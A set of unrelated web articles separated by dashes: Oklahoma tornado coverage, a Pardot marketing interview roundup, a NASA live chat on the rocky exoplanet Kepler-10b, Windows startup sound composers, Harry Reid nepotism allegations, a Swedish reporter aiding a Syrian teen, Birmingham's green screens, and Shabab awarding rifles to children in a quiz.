teacher saves kids in bathroom Replay More Videos ... MUST WATCH Heroic teacher saves kids in bathroom 03:30  JUST WATCHED Boy, neighbor embrace after tornado Replay More Videos ... MUST WATCH Boy, neighbor embrace after tornado 03:53  JUST WATCHED Man videos and dodges tornado Replay More Videos ... MUST WATCH Man videos and dodges tornado 03:13  JUST WATCHED Victims risk returning to homes Replay More Videos ... MUST WATCH Victims risk returning to homes 01:49  James Dickens, a gas-and-oil pipeline worker, grabbed his hard had and joined other rescuers at Plaza Towers Elementary School.  "I felt it was my duty to come help," he said Tuesday after a long night of searching.  "As a father, it's humbling. It's heartbreaking to know that we've still got kids over there that's possibly alive, but we don't know."  Moore, and the Oklahoma City region, are far too familiar with disaster. In 1995, 168 people died in the bombing of the Alfred P. Murrah Federal Building in Oklahoma City.  In 1999 and then again in 2003, Moore took direct hits from tornadoes that took eerily similar paths to Monday's storm. The 1999 storm packed the strongest wind speeds in history, Lt. Gov. Todd Lamb said.  "We're a tough state. This is a tough community," Lamb said. "There is hope. We always have hope. We always have faith."  President Barack Obama, pledging whatever federal aid Oklahoma would need, praised teachers who protected their students.  "If there is hope to hold on to -- not just in Oklahoma but around the country -- it's the knowledge that the good people there and in Oklahoma are better prepared for this type of storm than most," he said. "And what they can be certain of is that Americans from every corner of this country will be right there with them, opening our homes, our hearts, to those in need, because we're a nation that stands with our fellow citizens as long as it takes."  More trouble brewing  The storm system that spawned Monday's tornado and several other twisters Sunday isn't over yet.  Southwest Arkansas and northeast Texas, including Dallas, are under the gun for severe weather Tuesday. Those areas could see large hail, damaging winds and tornadoes.  A broader swath of the United States, from Texas to Indiana and up to Michigan, could see severe thunderstorms.  "We could have a round 3," CNN meteorologist Ivan Cabrera said. "Hopefully, it won't be as bad."
-If you’ve been following our summer camp posts, you know that we’re sad to call this series a wrap — we’ve learned so much over the past couple months from our featured expert interviews. We’ve talked with 16 of the most trusted experts we know, enjoyed perspectives from across the organization, learned a lot about how marketing overlaps with different areas of expertise, and how marketers can help. And above all, we strove to answer one important question:  How can you improve your marketing?  So there you have it: below you’ll find all 16 interviews with tactical, how-to advice. Check out the topics that most interest you, and be sure to scan down and grab a copy of our Complete Guide to B2B Marketing Success for even more hands-on advice!  How to Boost Sales with Marketing Automation  Sales manager Phil Simpson shares his insights on the challenges that B2B sales reps face, how he uses marketing automation on a daily basis, and how marketers can help his team accomplish their goals. Phil answers questions like:  what are the biggest issues faced by B2B sales reps today?  what features of marketing automation are most useful to sales?  how can marketing help sales hit their numbers?  How to Keep Your Customers Smiling  Client Advocate Manager Ginny Richardson tells a few of her secrets for building a successful customer advocacy program that keeps customers feeling appreciated and satisfied. Ginny shares:  the difference between customer advocacy and customer support.  how customer advocacy keeps customers smiling.  advice for businesses looking to start a similar program of their own.  How to Secure Lifelong Customers with Effective Training  Anna Sims and Scott Konkol give a behind-the-scenes look at the Pardot training team, share their expert thoughts on the industry as a whole, and give actionable advice to other businesses trying to put an effective training program in place. Learn:  how to improve customer retention rates with effective training.  why every startup needs a training program.  how to get started with your own.  How to Build a Successful Video Marketing Strategy  Digital Learning Specialist (and video expert) Seth Hathcock explains his process for thinking through Pardot’s video strategy — even before he starts rolling the camera. Read on to learn:  how to keep video production costs low.  what’s coming up next for video trends.  how to build your own video series.  An Inside Look at Developing the Pardot Product  Chris Kelly, Software Engineering Manager and mountain biking aficionado, talks shop about what it takes to manage product development at a growing company, how to prioritize the wants and needs of other departments, customers, and customers-to-be, and more, including:  how Pardot’s product gets built.  some cool projects in the pipe.  how you can get involved.  How to Successfully (& Gracefully) Settle Support Issues  Rachel Newcity, Technical Support Manager, describes how her team ensures that the post-implementation customer experience is top notch and draws some important parallels between customer support and customer-centric marketing. Learn:  the key to effective customer support.  where content plays a role.  how to measure success — and improve.  How to Ensure Your B2B Website is Effective and User-Friendly  Cliff Seal, a prominent expert in the Atlanta tech community and a tenured member of the Pardot team, discusses an area of User Experience (UX) that is particularly pertinent to B2B marketers: website effectiveness and lead generation. Find out:  how to optimize your website for lead generation.  what makes for an effective landing page or form.  what steps to take if you’re redesigning your website.  How to Get Ramped Up with Marketing Automation  Susan Spicknall, Senior Implementation Specialist and a long-time Pardot veteran, talks about getting started with marketing automation: how you can prepare, tips for getting started, and ways you can take your marketing to the next level. Learn:  how to prepare for implementation.  how to take your approach up a notch.  Susan’s favorite tips and tricks.  How to Take On Dreamforce 2015  If you’re planning to join the wonderful madness that is Dreamforce on September 15th, you can’t afford to miss Suzy Matus’ advice for getting the most out of this incredible opportunity to connect with your peers and get more out of your investment — as an attendee or as a sponsor. Find out:  tips for first-time attendees.  how sponsors can see more value.  how marketing automation can help.  How to Build a Successful Lead Nurturing Program  Maureen Flaherty, Pardot’s Email Marketing and Campaigns Specialist, steps up to the plate to answer important questions about putting a successful nurturing program in place. You’ll learn:  tips for building your first campaign.  how to choose your nurturing content.  top lead nurturing tips and tricks.  How to Get the Most out of Marketing Automation & Your CRM  Rob Phillips, CRM Engineer at Pardot, joins us to share his expertise on the marketing automation and CRM integration process: what to expect, how to prevent common roadblocks, and how to get the most out of your new system. Find out:  what to expect during implementation.  how to prevent common roadblocks.  how to get the most out of your integration.  How to Start Reporting with Marketing Automation  Marketing Operations Specialist Isaac Payne shares what he’s learned from building and analyzing Pardot campaigns and reporting — a very important topic that many marketers still struggle with. He discusses:  common obstacles that marketers face in getting started with reporting.  how to overcome these obstacles.  a few basic reports to get started.  How to Make Sure Your Customers Feel Heard  For this interview, we’re joined by Kyle Coleman, a manager on Pardot’s Product team who helps to act as the voice of the customer within the engineering organization. Kyle explains:  how she listens to client needs as a product manager and makes customers feel heard.  how marketing can — and should — help with this endeavor.  how product and marketing can work together.  How to Build the Perfect Campaign with Marketing Automation  Demand Generation Manager Ryan Johnston shares his expertise on building and managing campaigns — from kicking off your strategy as a novice to seeing more success as an experienced marketing automation user. You’ll get:  advice on how to get started with a campaign.  crucial questions to ask yourself.  access to Ryan’s case studies on previous Pardot campaigns.  How to Plan and Conduct Successful User Testing  Usability Analyst Matt Miller shares a little bit about what it takes to plan and conduct successful user testing — and how usability differs from user experience. Find out:  why every marketer should care about usability.  how marketers can help.  how to use results from user testing.  How to Use Marketing Automation with a Small Marketing Team  For our grand finale, meet Laura Horton, Pardot’s very first marketing hire and the fearless leader of our content team. Laura’s shares her experiences in watching Pardot grow from a small startup to a division of a Fortune 500 company — and how she used the Pardot product all along the way. Learn:  how Pardot uses Pardot.  how we saw success early on.  how other small teams can do the same.  What topics did you find most interesting? Are there any topics we didn’t cover that you would find helpful? Let us know in our comments section! Still looking for tactical advice? Check out 80 pages of (free) best practices and worksheets in our Complete Guide to B2B Marketing Success!
-NASA Chat: The Quest for Planets  NASA's Kepler mission confirmed the discovery of its first rocky planet, named Kepler-10b. Measuring 1.4 times the size of Earth, it is the smallest planet ever discovered outside our solar system. The discovery of this so-called exoplanet is based on more than eight months of data collected by the spacecraft from May 2009 to early January 2010. This new planet discovery was announced Monday Jan. 10 during the 'Exoplanets & Their Host Stars' presentation at the American Astronomical Society (AAS) conference in Seattle, Washington.Kepler is NASA's first mission to look specifically for Earth-size planets in the habitable zones (areas where liquid water could exist) around stars like our sun. Kepler will spend 3-1/2 years surveying more than 100,000 stars in the Cygnus-Lyra region of our Milky Way galaxy. More than 300 exoplanets have been discovered previously, most of which are low-density gas giants such as Jupiter or Saturn in our own solar system.Natalie Batalha of the NASA Kepler Mission Team was online answering your questions about this new planet finding on Monday, Jan. 10 from 3:30 p.m. to 4:30 p.m. EST / 12:30 p.m. to 1:30 p.m. PST. Natalie chatted with you live from the conference in Seattle.Natalie Batalha is a professor of physics and astronomy at San Jose State University in the heart of Silicon Valley, California and deputy science team lead for NASA’s Kepler Mission. She holds a bachelor's in physics from the University of California (UC), Berkeley and a doctorate in astrophysics from UC Santa Cruz. Batalha started her career as a stellar spectroscopist studying young, sun-like stars. After a post-doctoral fellowship in Rio de Janeiro, Brazil, Batalha returned to California. Inspired by the growing number of exoplanet discoveries she joined the team led by William Borucki at NASA's Ames Research Center, Moffett Field, Calif., working on transit photometry -- an emerging technology for finding exoplanets. As a member of the Kepler team, Batalha is responsible for the selection of the more than 150,000 stars the spacecraft monitors and works closely with team members at Ames to identify viable planet candidates from Kepler photometry.Jason(P): We're working on answering the first few questions. To ask your own, please type it in the box at the bottom of the window and click the 'Ask' button on the right side of the box. Thanks for your patience as we answer your questions.Oko(Q): How many planets similar to Earth have you discovered?Natalie(A): Hi guys! This is Natalie, and I'm happy you could join us! Let me start with this question about other discoveries of planets similar to earth. First, we have to establish what we mean by "similar to earth". If we mean earth-size in the habitable zone, then I can say that Kepler has not yet confirmed any such planets and does not expect to be able to until we see at least three transit events. For a planet similar to earth, that will take over three years.Jason(P): Wow. Lots of questions so far. We're working to answer them right now. To submit your own question, please type it in the box at the bottom of the window and click the 'Ask' button on the right side of the box. Thanks for your patience as we answer your questions.Mr_Wojciaszek(Q): Hello Everyone ! Greetings from Poland ! I want to ask you about this new discovery - what's so special about Kepler 10b and do you think that there may be signs of life there ? By the way what's your opinion about extraterrestrial life in general.Natalie(A): This discovery of Kepler-10b is special because of the accuracy of the planet properties. Our uncertainties in the mass and radius of the planet are small enough that we can say this is unquestionably a rocky world. We have achieved this accuracy because of the asteroseismic analysis.Akarsh_Valsan(Q): What really suggested the name ' Kepler' for the magnificent mission?Natalie(A): The Kepler mission is named after Johannes Kepler -- the famous mathematician who devised the empirical laws of planetary motion in the 1600's. We use his laws to determine the mean distance between the planet and the star. This distance determines whether or not the planet is in the Habitable Zone -- the goldilocks zone where liquid water might be able to pool on the surface of a planet.HouliHoulihan(Q): Is there an atmosphere on Kepler-10b?Natalie(A): Of course we do not yet have the exact answer to that question. However, we expect that a planet subjected to such intense radiation from the star it orbits would not be able to hold onto an atmosphere for long.mtalar(Q): Is the extrasolar planet search the only goal of Kepler?Natalie(A): This is the prime objective, yes -- to determine if earth-size planets are abundant in our galaxy, paying special attention to those that are potentially habitable. However, we have a group of scientists that comprise the Kepler Asteroseismic Science Consortium (over 300 scientists!). They utilize the exquisite precision of the Kepler data to study the properties of the stars themselves. We fully expect Kepler to revolutionize stellar astrophysics as a result.Kari(Q): The new planet seems to be very close to the star. Is this typical for exoplanets?Natalie(A): The short-period planets are easier to see, not necessarily more abundant in the galaxy. The probability that the planet will transit is larger for shorter periods. Also, the shorter the period, the more transits we observse. The more transits we have, the more we can average our measurements together to pu ll out weak signals.rober(Q): Hi, this is Roberto, from Spain, thank you so much for the possibility to talk to you directly. Why did you chose Cygnus? What does Cygnus have that other zones don´t have?Natalie(A): We chose CYgnus 1) because it is in the northern hemisphere (and we want to be able to see the region of the sky Kepler targets with our ground-based telescopes largely in the northern hemisphere), 2) the field is far enough away from the Sun at any time of the year, and 3) it is close to the plane of the Mikly Way galaxy where the density of stars is high.Daren(Q): Hi, is this planet within the "habitable zone" of the star?Natalie(A): Kepler-10b is definitely NOT in the habitable zone as we define it. The dayside temperature of the planet is expected to be higher than 2500 F!! That's hot enough to melt iron!WuNgUn(Q): Congrats on this remarkable discovery! Size and composition, this is very similar to our earth...do we know yet about it's orbital distance from it's host star?Natalie(A): Kepler-10b is about 23 times close to its star than Mercury is to our own Sun.tlland(Q): Can Kepler determine anything about the chemical content of a candidate planet's atmosphere to determine if it would be suitable for life as we know it?Natalie(A): Kepler can not probe the atmosphere of the planet, no. However, I fully expect other telescopes and missions to do transmission spectroscopy to see if it has an atmosphere. With transmission spectroscopy, you observe the planet when it is right in front of the star (allowing starlight to stream through its atmosphere) and then you observe it when it is not in front of the star. Then, you compare the two to see what the atmosphere might have done to the starlight.Jason(P): We're working to answer your great questions. Keep them coming! To submit your own question, please type it in the box at the bottom of the window and click the 'Ask' button on the right side of the box. Thanks for your patience as we answer your questions.arralen(Q): What's the Keppler id for the object - can i download the lightcurve anywhere?Natalie(A): The ID of the star is: KIC 11904151. Have fun!Thomas(Q): With respect to the planet being the first terrestrial planet from Kepler, how does Kepler-9d fit into this? Was it discovered later?Natalie(A): Unfortunately, we do not have a Doppler detection of Kepler-9d that would give us its mass. We only have its size. Therefore, we cannot compute the mean density that is so important for understanding its composition.rober(Q): How do you measure the planet mass, size and the distance to the star? And the planet composition?Natalie(A): Mass comes from the Doppler measurements of the wobble of the star as the planet/star orit about their commone center of mass. Radius comes from the amount of dimming of starlight that occurs during transit. The distance can be derived if you know the surface temperature and radius of the star. Together they give the intrinsic brightness. We know how bright the star appears to us. Knowing how right it SHOULD be instrinsically allows us to determine how far away it is -- 560 light-years for Kepler-10.Koreczek(Q): What do you think about life in other planets ? Is that possible ?Natalie(A): It must be "possible" simp;ly because we exist! Do I think there are other examples of life in our galaxy? in our Universe? Boy, I sure hope so!Cygnus(Q): What are the prospects for additional planets in the Kepler 10 star system? Any hints?Natalie(A): There is actually already a very compelling signature of another potential planet in this system. There is a transit event that recurs once every 45 days and is suggestive of a planet a bit larger than 2 times the radius of the Earth.priyanka(Q): hi natalie. thanks for joining the chat room. i am from india and i wanted to know the various methods used to locate exoplanets. is microlensing one of the methods? if yes...what is it and how is it done? please tell me more about kepler 10b.Natalie(A): Yes! Microlensing is another technique scientists use to search for planets. From general relativity, we know that mass can bend the path of light as it propagates through the Universe. Imagine you have a distance star with a planet that happens to line up for a short time with a star in the foreground. The light from the distant star/planet will be bent by the mass of the foreground star, causing a sudden brightening of the light that reaches our telescope. This is the basic idea behind microlensing.HOUPoland(Q): Hi! I am Lech Mankiewicz from Hands-On Universe, Poland. We actively support thehe recent PlanetHunters program (www.planethunters.org) on the Zooniverse. I wonder what kind of impact Planet Hunters have on the results of the Kepler team. Thank you.Natalie(A): We are SOOO excited about planethunters.org, and we are hoping to work together as much as possible, sharing information and helping the public as much as we can in their pursuit of planets. I know that there must be planets lurking in that data that we haven't seen, and we really look forward to having an extra million or so pairs of eyes on those light curves.rober(Q): Where is Kepler telescope located? What kind of light does it use: infrared, visible light?Natalie(A): The Kepler spacecraft is in an earth-trailing orbit around the Sun. It measures transits in the optical (visible).Bartek(Q): greetings from Poland, I congratulate the discovery! Will the publication be available on astro-ph?Natalie(A): Yes! I tried to do that last night, but it didn't compile correctly. We'll probably put the paper on our website (kepler.nasa.gov) in the interim.Jason(P): We're working to answer your great questions. Keep them coming! To submit your own question, please type it in the box at the bottom of the window and click the 'Ask' button on the right side of the box. Thanks for your patience as we answer your questions.Denver.C(Q): What makes this discovery stand outNatalie(A): Certainly it stands ou t becuase it is the first unquestionably rocky world orbiting a star outside our solar system. But more specifically... I think its the fact that all of our best capabilities (photometry, Doppler measurements, and asteroseismology) have converged on this one result.Lee(Q): Has Kepler made any observations on the nearby Alpha Centauri system, or are there difficulties of viewing any orbiting planets due to how bright the binary system is?Natalie(A): No, our telescope is pointed at a regiono of sky between Cygnus and Lyra and will point at this same region for the entire duration of the mission.sylwia_p(Q): how many people take part in Kepler project?Natalie(A): There are many, many experts involved with Kepler -- from intrument engineers, software engineers, to scientists. THe science team is currently around 50 or 60 individuals. The Kepler-10b paper has more than 50 authors!Karol(Q): Hi ! what is your greatest discoveryNatalie(A): No question... it's Kepler-10b. So far, that is. :)Jason(P): To learn more about the Kepler mission, visit http://www.nasa.gov/kepler or http://kepler.nasa.gov. Information about today's announcement can be found at http://www.nasa.gov/topics/universe/features/rocky_planet.htmlmerrickf(Q): How many candidate Earth like planets do you estimate you will find in the Milky Way galaxy?Natalie(A): This is an interesting question, but we have ot be more specific about what we mean by "earth-like". If every star we are observing has an earth-size planet in the Habitable Zone, we expect to find on the order of 50 such systems.DEChengst(Q): What's the plan after the primary mission is over? Would you like to switch to another starfield to catch more Earth like planets, or would like to keep looking at the same starfield to catch longer period planets ?Natalie(A): Really good question! That's something we are thinking about carefully right now as we plan for the future. So far, our simulations have shown that it would be more advantageous to keep observing the same field to detect the longer period and smaller planets.mtalar(Q): How is it possible to determin if the planet is in the habitable zone?Natalie(A): We are using a very simple definition of the Habitable Zone. You put a planet at a certain distance from a star of known properties (Luminosity) and assume that the planet has some reasonable albedo (e.g. how much energy does it absorb versus how much energy does it reflect) and then you calculate the temperature the object would have. If it's below the boiling point of water and higher than about 50 degrees or so (C) above the freezing point, we say that it is in the Habitable Zone.AREweALONE(Q): Has the NASA Kepler Mission Team confirmed Gliese 581g as an actual planet? People are doubting that it actually exists.Natalie(A): Gliese 581 is not in the field of stars that Kepler is observing. Yes, this is a very difficult system to understand given the number of very tiny Doppler signatures that one must disentangle.michał(Q): Is your equipment on the planets of another system can detect signs of life?Natalie(A): Kepler is NOT able to detect signatures of life (like the presence of Oxygen in an atmosphere, for example). No, this is not our objective. First, we must figure out if earth-size planets outside our Solar System are common.kianjin(Q): Are there any other planets in this system and have you decided to call this planet 'Vulcan'?Natalie(A): The team has not necessarily adopted the name VUlcan for this planet. However, it was the first thing that came to my mind when I saw the planet "come alive" in the artists depiction. The Vulcan Telescope -- our precursor to Kepler up at Lick Observatory -- was such a major part of our history, that it really came full circle for me.magda.tom(Q): Good afternoon. Asteroseismic analysis - could you say a few words about this method and technology? What information does it provide?Natalie(A): Good question! Just as we use earthquakes to probe the interior of the Earth, we can use star quakes to probe the interior of stars. But how do you see a starquake? Well, Kepler can "see" manifestations of star quakes in the brightness measurements. They produce very high frequency brightness variations at characteristic frequencies. The exact frequencies depend on the size and density of the star in the same way that the sound emitted from a violin differs from the sound emitted by a cello.Jason(P): We've got time for just a few more questions. To ask a question, please type it in the box at the bottom of the window and click the 'Ask' button on the right side of the box. Thanks for your patience as we answer your questions.Akarsh_Valsan(Q): In which constellation does Kepler-10b really come in?Natalie(A): The Kepler field of view is between Cygnus and Lyra. Surprisingly, however, there is a tiny corner of Draco that cuts into the field. Kepler-10b happens to be in the constellation Draco.sylwia_p(Q): Did you find some organism on Kepler-10b?Natalie(A): Nope! No organisms, nor could we if we wanted to. It wouldn't be a very nice place for organisms like those on earth to live. Carbon-based chemistry wouldn't thrive there. Molecules comprising RNA and DNA couldn't stay intact in such extreme temperatures._www.mykepler.com(Q): Last June you gave us 320 possible target stars with exoplanets. How come only 1 has been announced? Does this mean there are few close to their star - ie that we are finding many in the habitable zone - but you need longer to verify?Natalie(A): Since June, we have announced Kepler-9b,c,d and Kepler-10b. In addition, a European team has recently announced the confirmation of one of the planets in the June catalog. We will certainly announce each and every planet that we successfully confirm at the very first moment possible.William(Q): If this planet had been orbiting it's star at a distance similar to how our Earth orbits our sun would Kepler have the sensitivity to detect it?Natalie(A): Kepler has been designed to be able to detect an earth-size planet (even smaller than Kepler-10b) out at a distance on 1 AU (the orbit of the Earth around the Sun) in three to four years time. So the answer is yes, eventually.Natalie(P): It's clear to me that we need to do this more often! So many questions that I didn't even get to! Thank you all so much for participating. This is YOUR mission. This is YOUR science. We want you here with us, enjoying these results as much as we are. Thanks again!Jason(P): Thanks Natalie for the great answers to everyone's questions. We appreciate your taking time out of your day to sit down with us. Our chat is over! Thanks for participating. A transcript will be available within a few business days.
-Windows startup sounds have been ubiquitous fixtures for PC users for over 20 years. Less known are the musical minds that composed these sound snippets—and they are some famous ones at that. Let’s have a look at the notable stories behind several Windows startup themes.  Windows 95 / Brian Eno: In 1994, Microsoft needed something less obnoxious than the much-maligned Windows 3.1 TA-DA! for introducing its new operating system. The company approached legendary ambient artist and rock producer Brian Eno (U2, Talking Heads, Coldplay) to compose the start-up ditty for Windows 95. Eno obliged the job despite his stated preference for using Macintosh computers. “I’ve never used a PC in my life; I don’t like them,” Eno said in an interview with John Lloyd and Sean Lock on the BBC’s ‘The Museum of Curiosity’ in 2009.  Eno was handed a long list of Microsoft-like adjectives for basing the composition—words like “inspiring, universal, optimistic, futuristic”—and it was to be no longer than four seconds. From Eno’s own account, he likened the task to “making a tiny little jewel” and that it helped him break out of the artistic rut he was in at the time. Later that year, his collaboration with Luciano Pavarotti, “Miss Sarajevo,” charted in the UK Top 10.  Windows Vista / Robert Fripp: I find it ironic that Microsoft tapped virtuoso guitarist Robert Fripp to compose a four-second startup theme. Fripp’s band, King Crimson, was famous for penning 20-minute progressive rock epics in the late-‘60s and ‘70s. The Vista startup sound, as well as 45 other sounds coded into the operating system, were taken from recording session Fripp conducted at the company’s Redmond headquarters. It featured the guitarist tracking a soundscape of ambient loops and volume swells on his Les Paul. He was joined by TV and film music composer Tucker Martine and Microsoft engineer and musician Steve Ball who also contributed sounds and editing.  The final production has a deliberate “Win-dows Vis-ta” rhythmic progression, with four chords representing the four squares and colors in the Windows logo. Apparently, Microsoft thought it fit “Win-dows Sev-en” as well—the company reused the Fripp startup for its next operating system.  Other startup sound notables: Microsoft staffer Ken Kato composed the Windows 98 theme. He went on to work with 343 Industries studio that enlisted Massive Attack’s Neil Davidge for the awesome Halo 4 soundtrack.  The Windows XP chime came about from a collaborative effort between composer Bill Brown and Emmy-award winning sound designer Tom Ozanich, whose credits include American Sniper and Kill Bill.  In my opinion, the best Windows startup sound of the bunch is Windows NT with its alien mothership vibe. Its unnamed composer remains a mystery.
-Urgent:  Do You Approve Or Disapprove of President Obama's Job Performance? Vote Now in Urgent Poll  Urgent:  Do You Approve Or Disapprove of President Obama's Job Performance? Vote Now in Urgent Poll  Senate Majority Leader Harry Reid has found himself slowly sinking into the political quicksand as he faces close public scrutiny over potentially enriching family members through his powerful position as a Democratic leader.The Nevada senator has recently become embroiled in the embarrassing controversy surrounding the $31,268 that his campaign paid to his granddaughter Ryan Elisabeth Reid for the purchase of gift items from her jewelry line, according to Politico. But his weakness for pulling strings to help family members was first exposed by the Los Angeles Times a decade ago when a Nevada land bill proposed by Reid appeared to benefit his son-in-law Steve Barringer's consulting firm and his sons' legal firm.The Howard Hughes Corp. paid $300,000 to the Washington firm Steve Barringer worked for to push a provision allowing the company to buy 1,000 acres of federal land for development in the then-burgeoning Las Vegas area, according to the Times.The bill also benefited a real-estate development headed by a senior partner in the Nevada law firm that then employed all four of Reid's sons — Rory, Leif, Josh, and Key — by moving the right-of-way for a federal power transmission line off his property and onto what had been protected federal wilderness.In its report, the Times said, "So pervasive are the ties among Reid, members of his family, and Nevada's leading industries and institutions that it's difficult to find a significant field in which such a relationship does not exist."Reid's reputation for promoting his family's power, status, and wealth was further enhanced when it was revealed that he had lobbied the mayor of Henderson and a councilwoman to support his son Josh Reid's application to become the city's attorney.Although Josh got the job in 2011, the officials said that Reid's phone calls did not influence them.Reid has also faced allegations that he used his connections in 2012 to help his son Rory's legal firm receive legal fees from a Chinese company building a solar plant in a dusty corner of Nevada, according to Bloomberg. The company's billionaire founder, Wang Yusuo, joined with Reid to win incentives, including paying just $4.5 million for land to build the plant, which was one-eighth of what it was assessed for. The project produced legal work for Rory's firm, which has donated $40,000 to Reid during the past three cycles, says the report.And earlier this year, Reid's blind spot for his family made him the target of an ethics and conflict-of-interest complaint after he helped to fast-track U.S. visa applications for Chinese investors in the new Las Vegas casino SLS represented by his son Rory, Ryan Elisabeth's father.Until the recent controversy, Politico writer Jon Ralston said in a report titled "Harry Reid's Kryptonite," referring to his family, that the senator was Mr. Teflon."Even when Reid gets caught pulling strings for his family, nothing seems to stick," Ralston wrote.But the scandal surrounding his campaign payments to his granddaughter has brought intense scrutiny, with Jahan Wilcox, a Republican National Committee spokesman, calling it a "personal slush fund."The latest family problems for Reid began when it was revealed that his campaign had paid a total of $16,787 in 2013 to Ryan Elisabeth for "holiday gifts" for the senator's staff, consisting of jewelry items created by his 23-year-old granddaughter.The nepotism issue escalated when it was learned Reid's campaign had paid another $14,481 to Ryan in 2012, bringing the total in payments over two years to $31,268.Although he appears to be enriching a family member, Reid defended the payments by stating that he had complied with Federal Election Commission standards that allow the purchase of goods from relatives if those goods are sold at fair market value.The Democratic leader explained, "I thought it would be nice to give supporters and staff thank you gifts that had a personal connection. But I have decided to reimburse the campaign for the amount of the expenditure."But to Ralston, who worked the political beat for two Las Vegas newspapers before joining Politico, the appearance of impropriety still lingers."I gave the money back so I don't look guilty of something," said Ralston in Politico, quoting what he thought Reid was really saying.Politico also pointed out that although the law allows for "nominal gifts," there needs to be a great deal of such gifts to reach $31,268. One report even calculated that with a piece of jewelry from Ryan Elisabeth's line costing $70 on average, it would be the equivalent of buying 450 "nominal gifts" over two years.Ralston said that when he appeared last month on Fox News, host Sean Hannity introduced him by saying, "Tonight we have an in-depth investigation into a scandal that is just beginning to break, and it's one that could mean the end of Harry Reid's political career."
-The reporter, who was working on a programme for Sveriges Television (SVT), helped the 15-year-old travel from Greece to Sweden.  "It was only me who could help him," the reporter, Fredrik Önnevall, explained on SVT.  Önnevall, the teen, and the film crew all travelled back to Sweden via train so that the Syrian could reunite with members of his family who were already living in Sweden.  The child has since been granted permanent residence in Sweden and has started school.  "A boy just asked us to save him from the situation he was in. He was trying to smuggle himself out of Greece by jumping onto a moving truck," the reporter explained.  The SVT reporter said he was "extremely influenced by the classic journalist role of watching and observing", and said that he wasn't trying to change this practice by his actions.  While the programme's director, Robert Olsson, said the move was brave, he noted that the production team was well aware of the potential consequences of their actions.  "It's definitely not a certainty that Fredrik and the team have done something illegal. But I'm not a lawyer," he said.  "But I think this series goes beyond the legal issue. It's a public service broadcast that stands alone and shines a light on some of the most important contemporary issues in a much larger context," he explained.  Sweden's approach towards Syrian refugees has been widely debated recently.  Last year Sweden took in its highest number of asylum seekers since 1992, when refugees flocked to the Nordic nation during war in the Balkans.  In 2014, refugees came mostly from Syria, with a total of 30,600 fleeing to Sweden - 14,300 more than in 2013.
-The health benefits that come with green cities inspire landscape architect Chris Rance to find creative solutions.  Everyone wants to live in a ‘green’ city – but does that mean parks and play areas? Bike lanes and traffic bans? Or the efficient use of energy and water resources?  Chris Rance is principal landscape architect at Atkins. Based in Birmingham, he was tasked with “greening” a city where Victorian structures don’t necessarily lend themselves to a makeover.  “A true green city is not just environmentally sustainable but is also visibly green,” he says.  “It’s all about livability – with most of us living or working in urban areas these need to be pleasant and healthy places to be.  The idea is simple: to transform an existing piece of grey infrastructure into a piece of environmentally beneficial green infrastructure  “But retrofitting existing cities to incorporate ‘green infrastructure’ is a challenge when you don’t necessarily have the luxury of knocking down and starting afresh.”  The health benefits that come with green cities, he says, inspire him to find creative solutions, even where there is limited space for the more traditional approaches of street trees and open spaces.  “A network of high quality parks and open spaces provide the opportunity and encouragement for people to exercise. The obesity crisis is well publicised, and the more people have the incentive to move around and be more active the better.  “The same applies at the street level – an attractive green environment will encourage people to abandon the car and walk and cycle more. A recent study by Exeter University showed that people who moved to greener urban areas experienced a sustained improvement to their mental health.”  Wall of flowers: Birmingham is trialling a 'green screen'  Like many cities, Birmingham has a largely grey centre, albeit with some imposing streets and buildings, and a somewhat greener periphery including a number of leafy suburbs such as Edgbaston and the garden village of Bournville. Between the centre and the suburbs is a ring of land, much of it underused, including vacant plots and derelict sites cut by major radial roads and the city’s middle ring road.  “This is where we are trialling a green screen, on the A38 Bristol Street, in the city’s Southside district,” says Mr Rance.  “The idea is simple: to transform an existing piece of grey infrastructure – unattractive highway pedestrian guard railing along the central reservation – into a piece of environmentally beneficial green infrastructure which would help trap air pollutants.”  If Birmingham is able to transform itself into a ‘green city’ in the widest sense, that will be an achievement worth following  Among these are particulates from diesel engines and nitrogen oxides. Vehicle emissions are a serious problem for public health in urban areas and are thought to cause as many as 50,000 deaths per year in the UK.  “The green screens consist of climbing plants, pre-grown and twined onto metal mesh,” he says.  ”These are then fixed to the existing railing with the roots growing into the verge. Staffordshire University researchers found that the quantity of particulate interception by the green screens may be of the order of 145 million particles per square metre per day.”  The green screen is part of a wider vision for Birmingham, incorporating trams, bicycle lanes and autonomous cars, and even the “greening” of former parking spaces.  Studies show people who moved to greener areas saw improvements in their health  “We will be trialling further greening ideas in the city’s Southside district – so watch out for more green screens, green walls, roof gardens, and perhaps even ‘rain gardens’ that capture rainfall from adjoining buildings and hard surfaces.  “Potentially the ideas developed here can be applied to the wider outer city centre, possibly creating a green infrastructure ring around the centre.  “Any ideas we can develop for relatively low cost greening by retrofitting in existing dense urban fabrics could be applicable to many other cities. If Birmingham is able to transform itself into a ‘green city’ in the widest sense, that will be an achievement worth following.”
-NAIROBI, Kenya — A typical prize for a children’s contest might be a backpack, a lunchbox or maybe some toys.  Not in Somalia.  Over the weekend, a Somali radio station run by the Shabab, the most powerful Islamist militant group in the war-ravaged country, held an awards ceremony to honor children who were experts at Shabab trivia and at reciting the Koran. The prizes? Fully automatic assault rifles and live hand grenades.  The contest itself was held during Ramadan, the Muslim holy month of fasting, and featured questions that the Shabab seemed to think every child should know, like which war was Sheik Timajilic (a famous Shabab warrior) killed in?  Without a functioning central government, Somalia has some of the lowest schooling rates in the world, and many Somali children are more familiar with rifles than rulers. Contestants in the Shabab quiz included children from all across Shabab-controlled areas of Somalia, most of the southern third of the country. The children competed live on air from the many radio stations nationwide that the Shabab control.  Advertisement Continue reading the main story  On Sunday, the awards were handed out at a ceremony held at the Andalus radio station in Elasha Biyaha, a small town near Mogadishu, the capital. (Andalus was the part of Spain seized by the Arabs in the Middle Ages.) The first- and second-place winners won AK-47 assault rifles, some money and Islamic books. The third-place winner was given two hand grenades. The contestants were 10 to 17 years old.  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  It was not clear how exactly the sponsors determined the winners — or the choice of prizes. But at the awards ceremony, Sheik Muktar Robow Abu Monsur, who is widely considered a moderate Shabab leader, proudly said, “Children should use one hand for education and the other for a gun to defend Islam,” according to Somali accounts of the event.
